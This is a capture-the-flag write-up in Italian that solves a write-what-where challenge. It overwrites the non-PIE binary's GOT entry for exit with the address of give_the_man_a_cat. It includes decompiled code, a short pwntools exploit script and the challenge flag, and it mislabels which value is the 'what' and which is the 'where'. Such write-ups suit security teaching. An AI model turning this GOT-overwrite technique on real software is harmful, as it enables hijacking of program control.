Soluzione

Vediamo analizzando il file che è possibile scrivere la GOT e non c'è PIE.

Il programma si basa su un attacco "write what where" dato che ci chiede di scrivere 3 input essenziali :
1) What about giving him a "partner"? [Y]/n
2) What do you want to write?
3) Where do you want to write?

Per il primo input basterà inserire y.

Si può trovare la funzione *give_the_man_a_cat* che stampa la flag.

```
void dbg.give_the_man_a_cat(void)

{
    uchar newByte;
    ulong pFile;

    // void give_the_man_a_cat();
    pFile = sym.imp.fopen("temp", 0x40244b);
    sym.imp.fseek(pFile, 2, 0);
    newByte = 0x4e;
    sym.imp.fwrite(&newByte, 1, 1, pFile);
    sym.imp.fclose(pFile);
    sym.imp.rename("temp", "flag.png");
    sym.imp.puts("Oh you want to give him a cat? What a BRILLIANT IDEA!\
n");
    sym.imp.puts("As we thought, they made a beautiful song!!! \n");
    sym.imp.puts("https://www.youtube.com/watch?v=NUYvbT6vTPs&ab_channel
=BilalG%C3%B6regen");
    sym.imp.puts("\nThey also left a picture of their happiness as littl
e gift for you! Check it in the main folder! :)"
                );
    return;
}
```

La funzione *give_the_man_a_cat* sarà il nostro where.
Analizzando con IDA per trovare il Where (GOT) da sostituire con la funzione give_the_man_a_cat troviamo "exit" l'ultima funzione che viene eseguita dal programma, che sarà il nostro What.

Lo script pwntools è come segue:

```
from pwn import *

context.binary = "./vuln"
p = process()
p.sendline(b"y")
p.sendline(str(context.binary.functions["give_the_man_a_cat"].address).encode("ascii"))
p.sendline(str(context.binary.got["exit"]).encode("ascii"))
p.interactive()
```

L'immagine riporta la flag:


SPRITZ{PaRiPpaPPaA}